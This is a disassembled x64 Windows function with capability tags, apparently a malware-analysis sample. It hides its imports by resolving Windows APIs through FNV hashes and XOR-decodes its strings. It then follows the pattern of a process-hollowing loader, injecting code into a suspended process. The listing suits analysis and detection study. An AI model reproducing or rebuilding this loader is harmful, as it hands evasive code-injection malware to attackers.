Function at 0x140006040
Capabilities:
Access peb ldr_data
Encode data using xor
Get kernel32 base address
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x248]
sub rsp, 0x310
movaps xmmword [rax - 0x48], xmm6
movaps xmmword [rax - 0x58], xmm7
movaps xmmword [rax - 0x68], xmm8
mov rax, qword [0x140095080]
xor rax, rsp
mov qword [rbp + 0x1d0], rax
mov qword [rsp + 0x78], r8
mov qword [rsp + 0x70], rdx
mov qword [rbp + 8], rdx
mov qword [rbp + 0x10], r8
movups xmm0, xmmword [str.hDa__VHoSKrXl__6F]
movups xmmword [rbp - 0x80], xmm0
mov eax, dword [0x140089e00]
mov dword [rbp - 0x70], eax
movzx eax, byte [0x140089e04]
mov byte [rbp - 0x6c], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x140006149
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x140006149
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0x116e7ebc
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140006144
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140006110
cmp r10d, 0x5a9448f0
je 0x140006151
test r11d, r11d
jne 0x1400060f0
mov rax, qword [rax]
jmp 0x1400060c0
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r10d, dword [rcx + rax*4]
add r10, rbx
xor edx, edx
mov r8d, edx
lea ecx, [rdx + 1]
lea eax, [rdx + 0x1f]
mov r12d, dword [reloc.WS2_32.dll_accept]
cmp r12d, 2
jl 0x1400062c7
movdqa xmm5, xmmword [0x14008a440]
movdqa xmm4, xmmword [0x14008a4b0]
movd xmm6, ecx
movdqa xmm7, xmmword [0x14008a470]
movd xmm8, eax
movdqa xmm0, xmmword [0x14008a4d0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp - 0x80]
mov edx, dword [rbp - 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008a4a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008a4a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400061c0
cmp r8d, 0x15
jge 0x140006300
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x1400062d1
lea rdx, [rbp - 0x80]
mov rcx, qword [0x140101040]
call r10
mov r13, rax
movsxd rax, dword [0x14009c7cc]
mov qword [rsp + 0x60], rax
lea rdx, [0x14009c790]
mov ecx, dword [rax + rdx + 0x50]
mov dword [rsp + 0x58], ecx
mov ecx, dword [rax + rdx + 0x54]
mov dword [rsp + 0x54], ecx
mov ecx, dword [rax + rdx + 0x28]
mov dword [rsp + 0x68], ecx
movzx ecx, word [rax + rdx + 6]
mov word [rsp + 0x50], cx
movzx ecx, word [rax + rdx + 0x14]
mov word [rsp + 0x52], cx
mov rax, qword [rax + rdx + 0x30]
mov qword [rbp - 0x18], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
movups xmmword [rbp + 0x50], xmm0
movups xmmword [rbp + 0x60], xmm0
movups xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x80], rax
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x140006429
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x140006429
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0x5fcbbf4d
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140006424
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x1400063f0
cmp r10d, 0x837c8875
je 0x140006431
test r11d, r11d
jne 0x1400063d0
mov rax, qword [rax]
jmp 0x1400063a0
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov edx, dword [rcx + rax*4]
add rdx, rbx
mov ecx, 0x4d0
call rdx
mov r15, rax
mov qword [rbp - 0x68], rax
mov rax, qword [rsp + 0x78]
cmp qword [rax + 0x10], 0
je 0x14000649d
mov r8, rax
lea rdx, [0x1400899ec]
lea rcx, [rbp - 0x38]
call fcn.14000b470
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140006486
mov rax, qword [rax]
mov rdx, rax
mov rcx, qword [rsp + 0x70]
call fcn.14000b110
nop
lea rcx, [rbp - 0x38]
call fcn.1400044c0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x140006539
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x140006539
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0xcb4f7fd7
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140006534
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140006500
cmp r10d, 0x2c9223ec
je 0x140006541
test r11d, r11d
jne 0x1400064e0
mov rax, qword [rax]
jmp 0x1400064b0
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r8d, dword [rcx + rax*4]
add r8, rbx
lea rdx, [rbp + 0xc0]
mov ecx, 0x104
call r8
mov dword [r15 + 0x30], 0x10001b
movups xmm0, xmmword [0x140089f38]
movups xmmword [rbp - 0x50], xmm0
mov eax, dword [0x140089f48]
mov dword [rbp - 0x40], eax
mov rax, qword [rsp + 0x70]
mov r15, rax
cmp qword [rax + 0x18], 0x10
jb 0x140006598
mov r15, qword [rax]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x140006639
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x140006639
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0x3a5928f0
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140006634
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140006600
cmp r10d, 0xa25ff778
je 0x140006641
test r11d, r11d
jne 0x1400065e0
mov rax, qword [rax]
jmp 0x1400065b0
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r10d, dword [rcx + rax*4]
add r10, rbx
xor r11d, r11d
mov r8d, r11d
mov r11d, 1
cmp r12d, 2
jl 0x1400067b9
movdqa xmm5, xmmword [0x14008a440]
xor r12d, r12d
movdqa xmm4, xmmword [0x14008a4b0]
movd xmm6, r11d
movdqa xmm7, xmmword [0x14008a470]
mov eax, Ordinal_33
movd xmm8, eax
movdqa xmm0, xmmword [0x14008a4d0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp - 0x50]
mov edx, dword [rbp - 0x60]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008a4a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008a4a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400066b0
cmp r8d, 0x14
jge 0x1400067ff
jmp 0x1400067bc
xor r12d, r12d
movsxd rax, r8d
lea r9, [rbp - 0x50]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x1400067d0
lea rax, [rbp - 0x10]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x20]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], r11d
xor r9d, r9d
xor r8d, r8d
mov rdx, r15
xor ecx, ecx
call r10
mov rdx, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x10]
call r13
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x1400068e9
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x1400068e9
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0x686060ca
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x1400068e4
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x1400068b0
cmp r10d, 0x4e4e2237
je 0x1400068f1
test r11d, r11d
jne 0x140006890
mov rax, qword [rax]
jmp 0x140006860
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r10d, dword [rcx + rax*4]
add r10, rbx
movsxd r8, dword [rsp + 0x58]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x10]
call r10
mov r11, qword [0x1401014d8]
test r11, r11
jne 0x1400069bb
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r10, qword [rax]
mov rbx, r10
mov r8, qword [r10 + 0x60]
movzx eax, word [r10 + 0x58]
shr rax, 1
lea r11, [r8 + rax*2]
mov r9d, 0x337691c8
cmp r8, r11
je 0x1400069a2
nop dword [rax + rax]
movsx eax, byte [r8]
mov ecx, eax
sub al, 0x41
mov edx, ecx
or edx, 0x20
cmp al, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
add r8, 2
cmp r8, r11
jne 0x140006970
cmp r9d, 0x3cdf57f2
je 0x140006a25
mov r10, qword [r10]
cmp r10, rbx
je 0x1400069b1
cmp qword [r10 + 0x30], 0
jne 0x140006950
mov r11, r12
mov qword [0x1401014d8], r11
movsxd rax, dword [r11 + 0x3c]
mov edi, dword [rax + r11 + 0x88]
mov r10d, r12d
mov esi, dword [rdi + r11 + 0x20]
nop
mov ebx, r10d
lea rax, [rsi + rbx*4]
mov r8d, dword [rax + r11]
add r8, r11
mov r9d, 0xdd635790
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140006a20
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
movzx edx, byte [r8]
lea r8, [r8 + 1]
test dl, dl
jne 0x1400069f0
cmp r9d, 0xb0d56f4f
je 0x140006a2b
inc r10d
jmp 0x1400069d0
mov r11, qword [r10 + 0x30]
jmp 0x1400069b4
mov ecx, dword [rdi + r11 + 0x1c]
add rcx, r11
mov eax, dword [rdi + r11 + 0x24]
add rax, r11
movzx eax, word [rax + rbx*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
movsxd r9, dword [rsp + 0x54]
mov qword [rsp + 0x20], r12
lea r8, [0x14009c790]
mov rdx, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x10]
call r10
movzx eax, word [rsp + 0x50]
cmp r12w, ax
jge 0x140006dd7
movsx r15, word [rsp + 0x52]
add r15, qword [rsp + 0x60]
lea rcx, [0x14009c7a8]
add r15, rcx
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x140006b48
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x140006b48
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0xa480e7ad
movzx ecx, byte [r9]
inc r9
test cl, cl
je 0x140006b43
nop
movsx edx, cl
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
movzx ecx, byte [r9]
lea r9, [r9 + 1]
test cl, cl
jne 0x140006b10
cmp r10d, 0xb273e51c
je 0x140006b50
test r11d, r11d
jne 0x140006af0
mov rax, qword [rax]
jmp 0x140006ac0
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r9d, dword [rcx + rax*4]
add r9, rbx
mov r8d, Ordinal_41
mov rdx, r15
lea rcx, [rbp + 0x90]
call r9
mov eax, dword [rbp + 0x9c]
mov dword [rsp + 0x54], eax
movsxd r15, dword [rbp + 0xa4]
movsxd r13, dword [rbp + 0xa0]
mov rcx, r13
call fcn.140073c3c
mov r12, rax
lea rax, [0x14009c790]
add r15, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov rbx, qword [rcx + 0x30]
movsxd rdx, dword [rbx + 0x3c]
mov r14d, dword [rdx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x140006c49
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x140006c49
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rax, [rbx + r11*4]
mov r9d, dword [rax + rsi]
add r9, rbx
mov r10d, 0xdcf3ec41
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140006c44
movsx eax, r8b
sub r8b, 0x41
mov edx, eax
or edx, 0x20
cmp r8b, 0x19
cmova edx, eax
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140006c10
cmp r10d, 0xcae0bc18
je 0x140006c51
test r11d, r11d
jne 0x140006bf0
mov rcx, qword [rcx]
jmp 0x140006bc0
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r9d, dword [rcx + rax*4]
add r9, rbx
mov r8, r13
mov rdx, r15
mov rcx, r12
call r9
mov r11, qword [0x1401014c8]
test r11, r11
jne 0x140006d0b
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r10, qword [rax]
mov rbx, r10
nop
mov r8, qword [r10 + 0x60]
movzx eax, word [r10 + 0x58]
shr rax, 1
lea r11, [r8 + rax*2]
mov r9d, 0xc53ca0e5
cmp r8, r11
je 0x140006cf2
nop dword [rax + rax]
movsx eax, byte [r8]
mov ecx, eax
sub al, 0x41
mov edx, ecx
or edx, 0x20
cmp al, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
add r8, 2
cmp r8, r11
jne 0x140006cc0
cmp r9d, 0x107ca0e3
je 0x140006d76
mov r10, qword [r10]
cmp r10, rbx
je 0x140006d01
cmp qword [r10 + 0x30], 0
jne 0x140006ca0
xor r11d, r11d
mov qword [0x1401014c8], r11
movsxd rax, dword [r11 + 0x3c]
mov edi, dword [rax + r11 + 0x88]
xor r14d, r14d
mov r10d, r14d
mov esi, dword [rdi + r11 + 0x20]
mov ebx, r10d
lea rax, [rsi + rbx*4]
mov r8d, dword [rax + r11]
add r8, r11
mov r9d, 0xbe3c95e0
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140006d71
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
movzx edx, byte [r8]
lea r8, [r8 + 1]
test dl, dl
jne 0x140006d41
cmp r9d, 0x3d41d53f
je 0x140006d7c
inc r10d
jmp 0x140006d22
mov r11, qword [r10 + 0x30]
jmp 0x140006d04
mov ecx, dword [rdi + r11 + 0x1c]
add rcx, r11
mov eax, dword [rdi + r11 + 0x24]
add rax, r11
movzx eax, word [rax + rbx*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
movsxd rdx, dword [rsp + 0x54]
add rdx, qword [rbp - 0x18]
mov qword [rsp + 0x20], r14
mov r9, r13
mov r8, r12
mov rcx, qword [rbp - 0x10]
call r10
mov rcx, r12
call fcn.1400734b4
mov r15, qword [rsp + 0x58]
add r15, 0x28
mov qword [rsp + 0x58], r15
sub qword [rsp + 0x60], 1
jne 0x140006a90
xor r12d, r12d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x140006e79
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x140006e79
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rbx + r11*4]
mov r9d, dword [rcx + rsi]
add r9, rbx
mov r10d, 0x4c3de335
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140006e74
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140006e40
cmp r10d, 0x3a25f40e
je 0x140006e81
test r11d, r11d
jne 0x140006e20
mov rax, qword [rax]
jmp 0x140006df0
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r8d, dword [rcx + rax*4]
add r8, rbx
mov r15, qword [rbp - 0x68]
mov rdx, r15
mov rcx, qword [rbp - 8]
call r8
mov r14, qword [r15 + 0x88]
mov r11, qword [0x1401014c0]
test r11, r11
jne 0x140006f4b
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r10, qword [rax]
mov rbx, r10
nop word [rax + rax]
mov r8, qword [r10 + 0x60]
movzx eax, word [r10 + 0x58]
shr rax, 1
lea r11, [r8 + rax*2]
mov r9d, 0xcd673250
cmp r8, r11
je 0x140006f32
nop dword [rax + rax]
movsx eax, byte [r8]
mov ecx, eax
sub al, 0x41
mov edx, ecx
or edx, 0x20
cmp al, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
add r8, 2
cmp r8, r11
jne 0x140006f00
cmp r9d, 0xcc7bf39a
je 0x140006fb5
mov r10, qword [r10]
cmp r10, rbx
je 0x140006f41
cmp qword [r10 + 0x30], 0
jne 0x140006ee0
mov r11, r12
mov qword [0x1401014c0], r11
movsxd rax, dword [r11 + 0x3c]
mov edi, dword [rax + r11 + 0x88]
mov r10d, r12d
mov esi, dword [rdi + r11 + 0x20]
nop
mov ebx, r10d
lea rax, [rsi + rbx*4]
mov r8d, dword [rax + r11]
add r8, r11
mov r9d, 0xce6733e3
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140006fb0
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
movzx edx, byte [r8]
lea r8, [r8 + 1]
test dl, dl
jne 0x140006f80
cmp r9d, 0x1ce3d284
je 0x140006fbb
inc r10d
jmp 0x140006f60
mov r11, qword [r10 + 0x30]
jmp 0x140006f44
mov ecx, dword [rdi + r11 + 0x1c]
add rcx, r11
mov eax, dword [rdi + r11 + 0x24]
add rax, r11
movzx eax, word [rax + rbx*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea rdx, [r14 + 0x10]
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rbp - 0x18]
mov rcx, qword [rbp - 0x10]
call r10
movsxd rax, dword [rsp + 0x68]
add rax, qword [rbp - 0x18]
mov qword [r15 + 0x80], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x1400070a9
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x1400070a9
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0xa0cc1801
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x1400070a4
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140007070
cmp r10d, 0x8e9c9eee
je 0x1400070b1
test r11d, r11d
jne 0x140007050
mov rax, qword [rax]
jmp 0x140007020
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r8d, dword [rcx + rax*4]
add r8, rbx
mov rdx, r15
mov rcx, qword [rbp - 8]
call r8
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x140007179
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x140007179
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0x84fcbdc7
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140007174
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140007140
cmp r10d, 0xc91f4604
je 0x140007181
test r11d, r11d
jne 0x140007120
mov rax, qword [rax]
jmp 0x1400070f0
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov edx, dword [rcx + rax*4]
add rdx, rbx
mov rcx, qword [rbp - 8]
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x140007249
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x140007249
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0x97626a48
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140007244
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140007210
cmp r10d, 0x9869cdb6
je 0x140007251
test r11d, r11d
jne 0x1400071f0
mov rax, qword [rax]
jmp 0x1400071c0
mov edx, dword [r14 + 0x1c]
add rdx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
